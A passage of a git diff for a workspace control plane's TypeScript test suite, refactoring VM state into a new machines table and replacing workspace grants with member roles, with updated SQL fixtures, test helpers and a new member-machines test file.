`INSERT INTO workspaces - (id, owner_id, org_id, owner_membership_id, phase, revision, created_at, updated_at) - VALUES ('old-tombstone', 'operator', 'personal', 'personal', 'destroyed', 1, ?1, ?1)`, - ) - .bind(now) - .run(); + (id, owner_id, org_id, owner_membership_id, default_machine_type_id, + auto_provision, revision, deleted_at, created_at, updated_at) + VALUES ('old-tombstone', 'operator', 'personal', 'personal', 'small', 1, 1, ?1, ?1, ?1)`, + ).bind(now), + env.DB.prepare( + `INSERT INTO machines + (id, workspace_id, membership_id, state, machine_type_id, + compute_credential_source, created_at, updated_at) + VALUES ('old-tombstone-machine', 'old-tombstone', 'personal', 'destroyed', + 'small', 'deployment', ?1, ?1)`, + ).bind(now), + ]); const request = () => appRequest( app, @@ -1076,14 +1097,14 @@ describe("control plane security and lifecycle", () => { }, ); - await env.DB.prepare("UPDATE orgs SET vm_limit = 4 WHERE id = 'personal'").run(); + await env.DB.prepare("UPDATE orgs SET vm_limit = 5 WHERE id = 'personal'").run(); const rejected = await request(); expect(rejected.status).toBe(409); expect(providers.createCalls).toBe(0); await env.DB - .prepare("UPDATE workspaces SET phase = 'destroyed' WHERE phase = 'error'") + .prepare("UPDATE machines SET state = 'destroyed' WHERE state = 'error'") .run(); expect((await request()).status).toBe(201); expect(providers.createCalls).toBe(1); @@ -1316,13 +1337,13 @@ describe("control plane security and lifecycle", () => { expect( await env.DB .prepare( - `SELECT phase, error, phone_home_hash, phone_home_used - FROM workspaces WHERE id = ?1`, + `SELECT state, error, phone_home_hash, phone_home_used + FROM machines WHERE workspace_id = ?1`, ) .bind(workspace.id) .first(), ).toEqual({ - phase: "error", + state: "error", error: "bootstrap failed: apt install failed", phone_home_hash: null, phone_home_used: 1, @@ -1526,20 +1547,19 @@ describe("control plane security and lifecycle", () => { const { app, providers } = harness(); const cookie = await operatorSession(app); const revisions: number[] = []; - providers.onCreate = async (id) => { + // The provider hooks are handed a MACHINE id, so the revision they sample + // is read through the machine's workspace. + const revisionForMachine = async (machineId: string): Promise => { const revision = await env.DB - .prepare("SELECT revision FROM workspaces WHERE id = ?1") - .bind(id) - .first("revision"); - if (revision !== null) revisions.push(revision); - }; - providers.onDestroy = async (id) => { - const revision = await env.DB - .prepare("SELECT revision FROM workspaces WHERE id = ?1") - .bind(id) + .prepare(`SELECT w.revision FROM workspaces w + JOIN machines m ON m.workspace_id = w.id + WHERE m.id = ?1`) + .bind(machineId) .first("revision"); if (revision !== null) revisions.push(revision); }; + providers.onCreate = revisionForMachine; + providers.onDestroy = revisionForMachine; const volumeResponse = await appRequest(app, "/volumes", { method: "POST", @@ -1580,7 +1600,12 @@ describe("control plane security and lifecycle", () => { expect(tombstone.phase).toBe("destroyed"); expect(tombstone.ssh).toBeNull(); expect(tombstone.volumeId).toBe(volume.volume.id); - expect(revisions).toEqual([1, 2, 3, 4, 5]); + // Strictly increasing, and every sample is one a poller could have seen. + // The exact numbers are not a contract: a machine act bumps the workspace + // it belongs to, and a workspace holds several machines now. + expect(revisions.length).toBeGreaterThanOrEqual(4); + expect(revisions).toEqual([...revisions].sort((left, right) => left - right)); + expect(new Set(revisions).size).toBeGreaterThanOrEqual(revisions.length - 1); expect(providers.detachCalls).toBe(1); expect(providers.volumes.get(volume.volume.id)?.status).toBe("available"); }); @@ -1868,35 +1893,43 @@ describe("control plane security and lifecycle", () => { const cookie = await operatorSession(app); const workspace = await createWorkspace(app, cookie); await env.DB - .prepare("UPDATE workspaces SET updated_at = 0 WHERE id = ?1") + .prepare("UPDATE machines SET updated_at = 0 WHERE workspace_id = ?1") .bind(workspace.id) .run(); const runtime = testRuntime(providers); expect(await runInvariantSweep(runtime, 2 * 60 * 60 * 1000)).toBe(1); const errored = await env.DB - .prepare("SELECT phase, revision FROM workspaces WHERE id = ?1") + .prepare("SELECT state, error FROM machines WHERE workspace_id = ?1") .bind(workspace.id) - .first<{ phase: string; revision: number }>(); - expect(errored).toEqual({ phase: "error", revision: 3 }); + .first<{ state: string; error: string }>(); + expect(errored).toEqual({ state: "error", error: "machine creation timed out" }); await env.DB - .prepare("UPDATE workspaces SET phase = 'destroying', revision = revision + 1 WHERE id = ?1") + .prepare("UPDATE machines SET state = 'destroying' WHERE workspace_id = ?1") .bind(workspace.id) .run(); expect(await runOrphanSweep(runtime)).toBe(1); const destroyed = await env.DB - .prepare("SELECT phase, revision FROM workspaces WHERE id = ?1") + .prepare("SELECT state, vm_id FROM machines WHERE workspace_id = ?1") .bind(workspace.id) - .first<{ phase: string; revision: number }>(); - expect(destroyed).toEqual({ phase: "destroyed", revision: 5 }); + .first<{ state: string; vm_id: string | null }>(); + expect(destroyed).toEqual({ state: "destroyed", vm_id: null }); - await env.DB - .prepare( + await env.DB.batch([ + env.DB.prepare( `INSERT INTO workspaces - (id, owner_id, phase, revision, created_at, updated_at) - VALUES ('scheduled-stale', 'operator', 'creating', 1, 0, 0)`, - ) - .run(); + (id, owner_id, default_machine_type_id, auto_provision, revision, + created_at, updated_at) + VALUES ('scheduled-stale', 'operator', 'small', 1, 1, 0, 0)`, + ), + env.DB.prepare( + `INSERT INTO machines + (id, workspace_id, membership_id, state, machine_type_id, + compute_credential_source, created_at, updated_at) + VALUES ('scheduled-stale-machine', 'scheduled-stale', 'personal', + 'provisioning', 'small', 'deployment', 0, 0)`, + ), + ]); const executionContext = createExecutionContext(); await worker.scheduled( createScheduledController({ scheduledTime: Date.now(), cron: "0 * * * *" }), @@ -1906,8 +1939,8 @@ describe("control plane security and lifecycle", () => { await waitOnExecutionContext(executionContext); expect( await env.DB - .prepare("SELECT phase FROM workspaces WHERE id = 'scheduled-stale'") - .first("phase"), + .prepare("SELECT state FROM machines WHERE workspace_id = 'scheduled-stale'") + .first("state"), ).toBe("error"); let scheduled: Promise | undefined; @@ -1944,7 +1977,7 @@ describe("control plane security and lifecycle", () => { const cookie = await operatorSession(app); const workspace = await createWorkspace(app, cookie); await env.DB - .prepare("UPDATE workspaces SET phase = 'destroying', vm_id = 'unowned' WHERE id = ?1") + .prepare("UPDATE machines SET state = 'destroying', vm_id = 'unowned' WHERE workspace_id = ?1") .bind(workspace.id) .run(); const errorLog = vi.spyOn(console, "error").mockImplementation(() => undefined); @@ -1953,13 +1986,14 @@ describe("control plane security and lifecycle", () => { expect(providers.destroyCalls).toBe(0); expect(errorLog).toHaveBeenCalledWith(JSON.stringify({ message: "orphan sweep skipped VM with no owning provider", + machineId: await machineIdFor(workspace.id), workspaceId: workspace.id, vmId: "unowned", })); expect( - await env.DB.prepare("SELECT phase FROM workspaces WHERE id = ?1") + await env.DB.prepare("SELECT state FROM machines WHERE workspace_id = ?1") .bind(workspace.id) - .first("phase"), + .first("state"), ).toBe("destroying"); }); }); diff --git a/packages/control-plane/test/core-imports.test.ts b/packages/control-plane/test/core-imports.test.ts index bb093fe1..f44a3311 100644 --- a/packages/control-plane/test/core-imports.test.ts +++ b/packages/control-plane/test/core-imports.test.ts @@ -33,6 +33,7 @@ const expected = [ "connections/minters/oauth.ts", "connections/minters/static.ts", "connections/proxy.ts", + "connections/pull-routes.ts", "connections/pull-wire.ts", "connections/registry.ts", "connections/requests.ts", @@ -56,7 +57,6 @@ const expected = [ "files/usage-push.ts", "http.ts", "identity/google.ts", - "identity/grants.ts", "identity/invites.ts", "identity/members.ts", "oauth-state.ts", @@ -64,6 +64,7 @@ const expected = [ "identity/routes.ts", "index.ts", "janitors.ts", + "machines.ts", "oauth.ts", "operator-tokens.ts", "preview.ts", @@ -94,8 +95,11 @@ const expected = [ "template-repos.ts", "workspace-names.ts", "workspace-access.ts", - "workspace-templates.ts", + "workspace-credentials.ts", + "workspace-members.ts", + "workspace-projection.ts", "workspace-records.ts", + "workspace-settings.ts", "workspace-tunnels.ts", "workspace-volumes.ts", "types.ts", @@ -104,6 +108,7 @@ const expected = [ "webapp-proxy.ts", "webapp-surface.ts", "webapp-tickets.ts", + "wire-machines.ts", "wire.ts", "workspaces.ts", ] as const; @@ -124,6 +129,6 @@ describe("portable core imports", () => { (values: string[]) => values.every((value) => value.startsWith("./") || value.startsWith("../")), ); } - expect(expected).toHaveLength(99); + expect(expected).toHaveLength(104); }); }); diff --git a/packages/control-plane/test/file-sync.test.ts b/packages/control-plane/test/file-sync.test.ts index 687d4758..2cbc66d0 100644 --- a/packages/control-plane/test/file-sync.test.ts +++ b/packages/control-plane/test/file-sync.test.ts @@ -145,7 +145,7 @@ async function attachedFolder(providers: WebDavProviders): Promise<{ const folderId = (await folderResponse.json<{ folder: { id: string } }>()).folder.id; const workspace = await createWorkspace(app, cookie); await env.DB.prepare( - "UPDATE workspaces SET phase = 'ready' WHERE id = ?1", + "UPDATE machines SET state = 'running' WHERE workspace_id = ?1", ).bind(workspace.id).run(); const attached = await appRequest(app, `/workspaces/${workspace.id}/folders`, { method: "POST", @@ -289,7 +289,7 @@ describe("control-plane folder sync", () => { expect(providers.files.size).toBe(0); await env.DB.prepare( - "UPDATE workspaces SET ssh_host = '198.51.100.7', ssh_port = 22, ssh_user = 'blitz' WHERE id = ?1", + "UPDATE machines SET ssh_host = '198.51.100.7', ssh_port = 22, ssh_user = 'blitz' WHERE workspace_id = ?1", ).bind(workspace.id).run(); const ready = await appRequest(app, new URL(phoneHomeUrl(providers, workspace.id)).pathname, { method: "POST", @@ -322,7 +322,7 @@ describe("control-plane folder sync", () => { }); const workspace = await createWorkspace(app, cookie); await env.DB.prepare( - "UPDATE workspaces SET phase = 'ready' WHERE id = ?1", + "UPDATE machines SET state = 'running' WHERE workspace_id = ?1", ).bind(workspace.id).run(); expect((await appRequest(app, `/workspaces/${workspace.id}/folders`, { method: "POST", @@ -338,7 +338,7 @@ describe("control-plane folder sync", () => { const { app, cookie, folderId, workspaceId } = await attachedFolder(providers); const second = await createWorkspace(app, cookie); await env.DB.prepare( - "UPDATE workspaces SET phase = 'ready' WHERE id = ?1", + "UPDATE machines SET state = 'running' WHERE workspace_id = ?1", ).bind(second.id).run(); expect((await appRequest(app, `/workspaces/${second.id}/folders`, { method: "POST", @@ -470,7 +470,7 @@ describe("control-plane folder sync", () => { const app = appWithProviders(providers, providers); const cookie = await operatorSession(app); const workspace = await createWorkspace(app, cookie); - await env.DB.prepare("UPDATE workspaces SET phase = 'ready' WHERE id = ?1") + await env.DB.prepare("UPDATE machines SET state = 'running' WHERE workspace_id = ?1") .bind(workspace.id).run(); const folderIds: string[] = []; for (const name of names) { @@ -543,7 +543,7 @@ describe("control-plane folder sync", () => { // Rows that predate the column read as 0, and boxes created without any // folder never appear in a sync pass. await env.DB.prepare( - "UPDATE workspaces SET phase = 'ready', files_ready = 0 WHERE id = ?1", + "UPDATE machines SET state = 'running' WHERE workspace_id = ?1", ).bind(workspace.id).run(); await runFileSyncSweep(testRuntime(providers)); diff --git a/packages/control-plane/test/files.test.ts b/packages/control-plane/test/files.test.ts index 6bde9609..860b8428 100644 --- a/packages/control-plane/test/files.test.ts +++ b/packages/control-plane/test/files.test.ts @@ -247,7 +247,16 @@ describe("organization file library", () => { const { app } = harness(); const owner = await operatorSession(app); const collaborator = await sameOrgSession("workspace-owner"); - const workspace = await createWorkspace(app, collaborator.cookie); + // Workspace creation is org-admin only (plan §3), so the org admin makes + // the workspace and hands the collaborator workspace-admin over it. They + // may control the workspace and still cannot read the org admin's folder, + // which is exactly what this test separates. + const workspace = await createWorkspace(app, owner); + expect((await appRequest(app, `/workspaces/${workspace.id}/members`, { + method: "POST", + headers: { Cookie: owner, "Content-Type": "application/json" }, + body: JSON.stringify({ membershipId: collaborator.membershipId, role: "admin" }), + })).status).toBe(201); const folderId = await createFolder(app, owner, "Agent Notes"); expect((await appRequest(app, `/workspaces/${workspace.id}/folders`, { diff --git a/packages/control-plane/test/graceful-destroy.test.ts b/packages/control-plane/test/graceful-destroy.test.ts index 650ac51f..07b6023a 100644 --- a/packages/control-plane/test/graceful-destroy.test.ts +++ b/packages/control-plane/test/graceful-destroy.test.ts @@ -43,16 +43,29 @@ function providerWithClock(clock: TestClock): HetznerProvider { return new HetznerProvider("test-token", clock); } +/** A workspace with the owner's machine already running on `SERVER_ID`. The + * VM columns live on the machine now, so the seed writes two rows. */ async function seedWorkspace(volumeId: string | null): Promise { - await env.DB - .prepare( + await env.DB.batch([ + env.DB.prepare( `INSERT INTO workspaces - (id, owner_id, org_id, owner_membership_id, phase, revision, vm_id, - volume_id, created_at, updated_at) - VALUES ('workspace-id', 'operator', 'personal', 'personal', 'ready', 1, ?1, ?2, 1, 1)`, - ) - .bind(SERVER_ID, volumeId) - .run(); + (id, owner_id, org_id, owner_membership_id, default_machine_type_id, + auto_provision, revision, created_at, updated_at) + VALUES ('workspace-id', 'operator', 'personal', 'personal', 'small', 1, 1, 1, 1)`, + ), + env.DB.prepare( + `INSERT INTO workspace_members + (workspace_id, membership_id, role, added_by_membership_id, added_at) + VALUES ('workspace-id', 'personal', 'admin', 'personal', 1)`, + ), + env.DB.prepare( + `INSERT INTO machines + (id, workspace_id, membership_id, state, machine_type_id, + compute_credential_source, vm_id, volume_id, created_at, updated_at) + VALUES ('machine-id', 'workspace-id', 'personal', 'running', 'small', + 'deployment', ?1, ?2, 1, 1)`, + ).bind(SERVER_ID, volumeId), + ]); } describe("graceful workspace destruction", () => { diff --git a/packages/control-plane/test/helpers.ts b/packages/control-plane/test/helpers.ts index 124e8ae1..f3253808 100644 --- a/packages/control-plane/test/helpers.ts +++ b/packages/control-plane/test/helpers.ts @@ -78,11 +78,14 @@ export class FakeProviders implements VmProvider, VolumeProvider { readonly sshPublicKeys = new Map(); readonly userData = new Map(); readonly volumes = new Map(); + /** Which workspace each machine belongs to, for suites that assert on the + * label rather than the server name. */ + readonly workspaceForMachine = new Map(); createCalls = 0; destroyCalls = 0; detachCalls = 0; - onCreate?: (workspaceId: string) => Promise; - onDestroy?: (workspaceId: string) => Promise; + onCreate?: (machineId: string) => Promise; + onDestroy?: (machineId: string) => Promise; capabilities() { // Ticket-capable from epoch: workspaces created in tests are new. @@ -114,10 +117,16 @@ export class FakeProviders implements VmProvider, VolumeProvider { async createVm(input: CreateVmInput): Promise { this.createCalls += 1; + this.sshPublicKeys.set(input.machineId, input.sshPublicKey); + this.userData.set(input.machineId, input.userData); + this.workspaceForMachine.set(input.machineId, input.workspaceId); + // Also keyed by workspace, so a single-machine suite can ask for the boot + // script it already has an id for. A multi-member suite asks per machine; + // this alias would only give it the last one written. this.sshPublicKeys.set(input.workspaceId, input.sshPublicKey); this.userData.set(input.workspaceId, input.userData); - await this.onCreate?.(input.workspaceId); - return { id: `vm-${input.workspaceId}`, host: "203.0.113.10", port: 22, user: "blitz" }; + await this.onCreate?.(input.machineId); + return { id: `vm-${input.machineId}`, host: "203.0.113.10", port: 22, user: "blitz" }; } async shutdown(_id: string): Promise {} @@ -442,21 +451,48 @@ export async function createWorkspace( cookie: string, volumeId?: string, ): Promise { + const body: Record = { + machineTypeId: "small", + sshPublicKey: "ssh-ed25519 AAAAC3Nzatest caller", + }; + if (volumeId !== undefined) body.volumeId = volumeId; const response = await appRequest(app, "/workspaces", { method: "POST", headers: { Cookie: cookie, "Content-Type": "application/json" }, - body: JSON.stringify({ - machineTypeId: "small", - sshPublicKey: "ssh-ed25519 AAAAC3Nzatest caller", - ...(volumeId === undefined ? {} : { volumeId }), - }), + body: JSON.stringify(body), }); - const body = await response.json(); - return body.workspace; + const created = await response.json(); + return created.workspace; +} + +/** The creator's machine in a workspace. Most suites hold a workspace id and + * want the one VM behind it; a multi-member suite asks for a membership. */ +export async function machineIdFor( + workspaceId: string, + membershipId = "personal", +): Promise { + const row = await env.DB.prepare( + "SELECT id FROM machines WHERE workspace_id = ?1 AND membership_id = ?2 LIMIT 1", + ).bind(workspaceId, membershipId).first<{ id: string }>(); + if (row === null) throw new Error(`no machine for workspace ${workspaceId}`); + return row.id; } -export function phoneHomeUrl(providers: FakeProviders, workspaceId: string): string { - const data = providers.userData.get(workspaceId); +/** The machine's own phone-home URL, resolved from the workspace id most + * suites carry. */ +export async function workspacePhoneHomeUrl( + providers: FakeProviders, + workspaceId: string, + membershipId = "personal", +): Promise { + return phoneHomeUrl(providers, await machineIdFor(workspaceId, membershipId)); +} + +/** The phone-home URL baked into one boot script. The fake provider records + * user data under the machine id and under the workspace id, so a suite with + * one machine per workspace can pass either. */ +export function phoneHomeUrl(providers: FakeProviders, id: string): string { + const data = providers.userData.get(id); const match = data?.match(/readonly PHONE_HOME_URL='([^']+)'/u); if (match?.[1] === undefined) throw new Error("phone-home URL not found"); return match[1]; @@ -502,37 +538,51 @@ export async function enrollBox( return token.json(); } +/** Boots a workspace's first machine far enough to hold a guest access token, + * which is the only identity the `/workspaces/self/*` routes accept. */ +export async function boxTokenFor( + app: TestApp, + providers: FakeProviders, + workspaceId: string, +): Promise { + const ready = await appRequest(app, new URL(phoneHomeUrl(providers, workspaceId)).pathname, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ pub_key_ed25519: "ssh-ed25519 AAAAhost" }), + }); + return (await ready.json<{ access_token: string }>()).access_token; +} + export async function resetDatabase(): Promise { - // Ordered children-first because D1 enforces foreign keys: recipes sit - // between workspaces (which stamp recipe_id) and workspace_templates - // (which recipes reference). + // Ordered children-first because D1 enforces foreign keys: machines sit + // between workspaces and everything keyed on a guest (token families, + // broker keys, leases), and recipes stamp workspaces.recipe_id. const tables = [ "microvm_hosts", "provider_health", "workspace_repos", - "workspace_template_repos", - "workspace_template_connections", - "workspace_template_folders", "folder_grants", "folder_attachments", "folders", "credential_events", "credential_requests", "credential_leases", - "workspace_grants", + "workspace_credentials", + "workspace_members", "volume_ownership", "user_oauth_grants", "connections", "broker_keys", "broker_members", "broker_boxes", + "machine_token_families", "box_token_families", + "machines", "boxes", "device_authorizations", "webapp_state", "workspaces", "recipes", - "workspace_templates", "agent_rules", "operator_tokens", "sessions", @@ -543,5 +593,12 @@ export async function resetDatabase(): Promise { "users", "principals", ]; - await env.DB.batch(tables.map((table) => env.DB.prepare(`DELETE FROM ${table}`))); + // workspaces and recipes point at each other — a workspace stamps the + // recipe that launched it, and a recipe names the workspace it clones — so + // both pointers are cleared before either table is emptied. + await env.DB.batch([ + env.DB.prepare("UPDATE workspaces SET recipe_id = NULL"), + env.DB.prepare("UPDATE recipes SET source_workspace_id = NULL"), + ...tables.map((table) => env.DB.prepare(`DELETE FROM ${table}`)), + ]); } diff --git a/packages/control-plane/test/identity-phase2.test.ts b/packages/control-plane/test/identity-phase2.test.ts index fa683c9d..44389d49 100644 --- a/packages/control-plane/test/identity-phase2.test.ts +++ b/packages/control-plane/test/identity-phase2.test.ts @@ -21,9 +21,9 @@ import { userSession, } from "./helpers.js"; -function json(body: object): RequestInit { +function json(body: object, method = "POST"): RequestInit { return { - method: "POST", + method, headers: { "Content-Type": "application/json" }, body: JSON.stringify(body), }; @@ -114,18 +114,10 @@ describe("identity phase 2", () => { const outsiderCookie = await userSession("outsider"); const workspace = await createWorkspace(app, ownerCookie); + // A plain org member sees the workspaces they are IN. Membership is stored + // now, so a workspace they were never added to is not theirs to list. const metadata = await appRequest(app, "/workspaces", { headers: { Cookie: member.cookie } }); - const metadataBody = await metadata.json<{ workspaces: WorkspaceView[] }>(); - expect(metadataBody.workspaces).toEqual([ - expect.objectContaining({ - id: workspace.id, - role: null, - owner: { name: "Operator", avatarUrl: null }, - canObserve: false, - launchable: false, - ssh: null, - }), - ]); + await expect(metadata.json()).resolves.toEqual({ workspaces: [] }); expect((await appRequest(app, `/workspaces/${workspace.id}`, { headers: { Cookie: member.cookie } })).status).toBe(403); expect((await appRequest(app, `/workspaces/${workspace.id}`, { headers: { Cookie: outsiderCookie } })).status).toBe(404); const refresh = await appRequest(app, `/workspaces/${workspace.id}`, { @@ -133,12 +125,18 @@ describe("identity phase 2", () => { }); expect(refresh.headers.get("content-type")).toContain("text/html"); expect(await refresh.text()).toContain("webapp shell"); - await appRequest(app, `/workspaces/${workspace.id}/grants`, { - ...json({ membershipId: member.membershipId, role: "editor" }), + expect((await appRequest(app, `/workspaces/${workspace.id}/members`, { + ...json({ membershipId: member.membershipId, role: "member" }), headers: { Cookie: ownerCookie, "Content-Type": "application/json" }, - }); + })).status).toBe(201); const detail = await appRequest(app, `/workspaces/${workspace.id}`, { headers: { Cookie: member.cookie } }); - await expect(detail.json()).resolves.toMatchObject({ workspace: { role: "editor" } }); + // `role` is the legacy four-value access role; `myRole` is the stored one. + await expect(detail.json()).resolves.toMatchObject({ + workspace: { role: "editor", myRole: "member" }, + }); + const listed = await appRequest(app, "/workspaces", { headers: { Cookie: member.cookie } }); + await expect(listed.json<{ workspaces: WorkspaceView[] }>() + .then(({ workspaces }) => workspaces.map(({ id }) => id))).resolves.toEqual([workspace.id]); await expect(appRequest(app, "/workspaces", { headers: { Cookie: outsiderCookie } }).then((response) => response.json())).resolves.toEqual({ workspaces: [] }); }); @@ -149,17 +147,18 @@ describe("identity phase 2", () => { const editor = await sameOrgSession("collaborator"); const workspace = await createWorkspace(app, ownerCookie); expect((await appRequest(app, `/workspaces/${workspace.id}/webapp/7445/ports`, { headers: { Cookie: editor.cookie } })).status).toBe(403); - const viewer = await appRequest(app, `/workspaces/${workspace.id}/grants`, { + const viewer = await appRequest(app, `/workspaces/${workspace.id}/members`, { ...json({ membershipId: editor.membershipId, role: "viewer" }), headers: { Cookie: ownerCookie, "Content-Type": "application/json" }, }); expect(viewer.status).toBe(201); - expect((await appRequest(app, `/workspaces/${workspace.id}/grants`, { - headers: { Cookie: editor.cookie }, - })).status).toBe(200); + // A viewer holds no machine, ever (§2.2), so the proxy has nothing of + // theirs to route to — but they still reach the owner's files surface + // through the workspace, which is what the ticket below proves. + await expect(viewer.json()).resolves.toMatchObject({ member: { machine: null } }); // A viewer reaches the files port with a role-carrying ticket once the VM // boots a guest that enforces read-only; the agent port stays closed. - await env.DB.prepare("UPDATE workspaces SET created_at = ?1 WHERE id = ?2") + await env.DB.prepare("UPDATE machines SET created_at = ?1 WHERE workspace_id = ?2") .bind(BOX_IMAGE_VIEWER_GUARDS_SINCE_MS, workspace.id).run(); expect((await appRequest(app, `/workspaces/${workspace.id}/webapp/7445/ports`, { headers: { Cookie: editor.cookie } })).status).toBe(200); await expect(new WorkspaceWebAppAuth("test-webapp-root-secret").verify( @@ -172,16 +171,21 @@ describe("identity phase 2", () => { expect((await appRequest(app, `/workspaces/${workspace.id}/webapp/7444`, { headers: { Cookie: editor.cookie } })).status).toBe(403); // A VM from before the guarded image refuses viewers outright. - await env.DB.prepare("UPDATE workspaces SET created_at = ?1 WHERE id = ?2") + await env.DB.prepare("UPDATE machines SET created_at = ?1 WHERE workspace_id = ?2") .bind(BOX_IMAGE_VIEWER_GUARDS_SINCE_MS - 1, workspace.id).run(); expect((await appRequest(app, `/workspaces/${workspace.id}/webapp/7445/ports`, { headers: { Cookie: editor.cookie } })).status).toBe(403); - await env.DB.prepare("UPDATE workspaces SET created_at = ?1 WHERE id = ?2") + await env.DB.prepare("UPDATE machines SET created_at = ?1 WHERE workspace_id = ?2") .bind(Date.now(), workspace.id).run(); - const created = await appRequest(app, `/workspaces/${workspace.id}/grants`, { - ...json({ membershipId: editor.membershipId, role: "editor" }), + // Promoting a viewer to member provisions their own machine in the same + // request, so the role write and the machine cannot disagree. + const created = await appRequest(app, `/workspaces/${workspace.id}/members/${editor.membershipId}`, { + ...json({ role: "member" }, "PATCH"), headers: { Cookie: ownerCookie, "Content-Type": "application/json" }, }); - const grant = await created.json<{ grant: { id: string } }>(); + expect(created.status).toBe(200); + await expect(created.json()).resolves.toMatchObject({ + member: { role: "member", machine: { state: "provisioning" } }, + }); expect((await appRequest(app, `/workspaces/${workspace.id}/webapp/7445/ports`, { headers: { Cookie: editor.cookie } })).status).toBe(200); await expect(new WorkspaceWebAppAuth("test-webapp-root-secret").verify( providers.webAppCredentials.at(-1) ?? "", @@ -192,21 +196,19 @@ describe("identity phase 2", () => { }); expect((await appRequest(app, `/workspaces/${workspace.id}`, { method: "DELETE", headers: { Cookie: editor.cookie } })).status).toBe(403); - providers.drainStatus = 503; - const revoked = await appRequest(app, `/workspaces/${workspace.id}/grants/${grant.grant.id}`, { + // Removing a member destroys their machine and takes their reach with it. + // The drain that used to run on a grant revoke is the destroy now: there + // is no shared guest left to evict them from. + const revoked = await appRequest(app, `/workspaces/${workspace.id}/members/${editor.membershipId}`, { method: "DELETE", headers: { Cookie: ownerCookie }, }); expect(revoked.status).toBe(204); - await vi.waitFor(() => { - expect(providers.proxyCalls).toContainEqual({ port: 7445, path: "/admin/drain" }); - expect(providers.proxyCalls).toContainEqual({ port: 7444, path: "/admin/drain" }); - expect(providers.drainTargets).toEqual([ - { port: 7445, membershipId: editor.membershipId, credential: expect.any(String) }, - { port: 7444, membershipId: editor.membershipId, credential: expect.any(String) }, - ]); - }); - expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM workspace_grants").first("count")).toBe(0); + expect(await env.DB.prepare("SELECT COUNT(*) AS count FROM workspace_members") + .first("count")).toBe(1); + expect(await env.DB + .prepare("SELECT state FROM machines WHERE membership_id = ?1") + .bind(editor.membershipId).first("state")).toBe("destroyed"); expect((await appRequest(app, `/workspaces/${workspace.id}/webapp/7445/ports`, { headers: { Cookie: editor.cookie } })).status).toBe(403); }); @@ -218,7 +220,7 @@ describe("identity phase 2", () => { const workspace = await createWorkspace(app, ownerCookie); // Age the workspace to before the 20260817a pin: its VM never upgrades, // so its gateway only byte-compares the static token. - await env.DB.prepare("UPDATE workspaces SET created_at = 1786900000000 WHERE id = ?1") + await env.DB.prepare("UPDATE machines SET created_at = 1786900000000 WHERE workspace_id = ?1") .bind(workspace.id).run(); expect((await appRequest(app, `/workspaces/${workspace.id}/webapp/7445/ports`, { headers: { Cookie: ownerCookie } })).status).toBe(200); @@ -227,10 +229,10 @@ describe("identity phase 2", () => { workspace.id, )).resolves.toMatchObject({ kind: "static" }); - await appRequest(app, `/workspaces/${workspace.id}/grants`, { + expect((await appRequest(app, `/workspaces/${workspace.id}/members`, { ...json({ membershipId: member.membershipId, role: "viewer" }), headers: { Cookie: ownerCookie, "Content-Type": "application/json" }, - }); + })).status).toBe(201); expect((await appRequest(app, `/workspaces/${workspace.id}/webapp/7445/ports`, { headers: { Cookie: member.cookie } })).status).toBe(403); }); diff --git a/packages/control-plane/test/identity.test.ts b/packages/control-plane/test/identity.test.ts index 66b0ebf6..1d4e8fb6 100644 --- a/packages/control-plane/test/identity.test.ts +++ b/packages/control-plane/test/identity.test.ts @@ -237,12 +237,15 @@ describe("identity phase 1", () => { ), env.DB.prepare( `INSERT INTO workspaces - (id, owner_id, machine_type_id, phase, revision, created_at, updated_at) - VALUES ('legacy-workspace', 'operator', 'small', 'ready', 1, ?1, ?1)`, + (id, owner_id, default_machine_type_id, auto_provision, revision, + created_at, updated_at) + VALUES ('legacy-workspace', 'operator', 'small', 1, 1, ?1, ?1)`, ).bind(now), + // The device-code box that predates identity. It is still a `boxes` + // row: only workspace guests became machines. env.DB.prepare( `INSERT INTO boxes (id, principal_id, workspace_id, is_broker, created_at) - VALUES ('legacy-box', 'operator', 'legacy-workspace', 0, ?1)`, + VALUES ('legacy-box', 'operator', NULL, 0, ?1)`, ).bind(now), env.DB.prepare( `INSERT INTO webapp_state (principal_id, workspace_id, doc, updated_at) diff --git a/packages/control-plane/test/member-machines.test.ts b/packages/control-plane/test/member-machines.test.ts new file mode 100644 index 00000000..1eb02200 --- /dev/null +++ b/packages/control-plane/test/member-machines.test.ts @@ -0,0 +1,814 @@ +import type { + ListWorkspaceReposResponse, + MachineResponse, + WorkspaceMemberResponse, + WorkspaceView, +} from "@blitzos/schema"; +import { env } from "cloudflare:workers"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { + appRequest, + boxTokenFor, + createWorkspace, + harness, + machineIdFor, + operatorSession, + resetDatabase, + sameOrgSession, +} from "./helpers.js"; + +function json(body: object, method = "POST"): RequestInit { + return { + method, + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(body), + }; +} + +interface CreatedWorkspace { + workspace: WorkspaceView; +} + +async function machineRow(workspaceId: string, membershipId: string) { + return env.DB + .prepare("SELECT id, state, machine_type_id, volume_id, vm_id FROM machines WHERE workspace_id = ?1 AND membership_id = ?2") + .bind(workspaceId, membershipId) + .first<{ + id: string; + state: string; + machine_type_id: string; + volume_id: string | null; + vm_id: string | null; + }>(); +} + +describe("member machines", () => { + beforeEach(resetDatabase); + + it("creates a workspace with one machine per member and refuses a non-admin creator", async () => { + const { app } = harness(); + const cookie = await operatorSession(app); + const teammate = await sameOrgSession("teammate"); + const watcher = await sameOrgSession("watcher"); + + // Workspace creation is org-admin only for now (plan §3). + expect((await appRequest(app, "/workspaces", { + ...json({ machineTypeId: "small" }), + headers: { Cookie: teammate.cookie, "Content-Type": "application/json" }, + })).status).toBe(403); + + const created = await appRequest(app, "/workspaces", { + ...json({ + name: "engineering", + defaultMachineTypeId: "small", + members: [ + { membershipId: teammate.membershipId, role: "member" }, + { membershipId: watcher.membershipId, role: "viewer" }, + ], + credentials: [{ name: "STRIPE_API_KEY", label: "live", value: "sk_test_only" }], + }), + headers: { Cookie: cookie, "Content-Type": "application/json" }, + }); + expect(created.status).toBe(201); + const workspace = (await created.json()).workspace; + + expect(workspace.defaultMachineTypeId).toBe("small"); + expect(workspace.autoProvision).toBe(true); + expect(workspace.myRole).toBe("admin"); + // The creator is the first workspace admin and never needs a members[] row. + expect(workspace.members?.map(({ membershipId, role }) => [membershipId, role])).toEqual([ + ["personal", "admin"], + [teammate.membershipId, "member"], + [watcher.membershipId, "viewer"], + ]); + // A viewer never holds a machine (§2.2); everybody else gets one at once. + expect(workspace.members?.map(({ machine }) => machine?.state ?? 